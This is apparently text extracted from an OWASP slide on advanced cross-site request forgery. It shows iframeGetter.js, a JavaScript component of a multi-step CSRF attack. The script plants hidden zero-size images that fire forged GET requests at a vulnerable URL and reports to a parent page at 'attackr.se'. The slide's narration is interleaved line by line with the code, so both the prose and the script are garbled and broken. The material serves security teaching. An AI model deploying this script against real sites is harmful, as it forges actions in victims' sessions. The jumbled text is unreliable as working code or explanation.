Advanced CSRF and Stateless Anti-CSRF - owasp

The onerror event will fire
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten
since the vulnerable
= false;
URL does
IFRAME_GETTER.reportAndGet = function() {
var imgElement; not respond with an image. We
if(parent != undefined) {
use that event to stop the
parent.postMessage(IFRAME_ID,
heart beat function. "https://attackr.se:8444");
No heart
}
if(!IFRAME_GETTER.haveGotten) beat means the main { page
imgElement
knows
=
this
document.createElement("img");
step is done and
imgElement.setAttribute("src", GET_SRC);
imgElement.setAttribute("height", can continue opening the "0"); next
imgElement.setAttribute("width",
iframe.
"0");
imgElement.setAttribute("onerror",
"javascript:clearInterval(IFRAME_GETTER.intervalId)");
document.body.appendChild(imgElement);
IFRAME_GETTER.haveGotten = true;
}
};
IFRAME_GETTER.onLoad = function() {
IFRAME_GETTER.intervalId =
setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
iframeGetter.js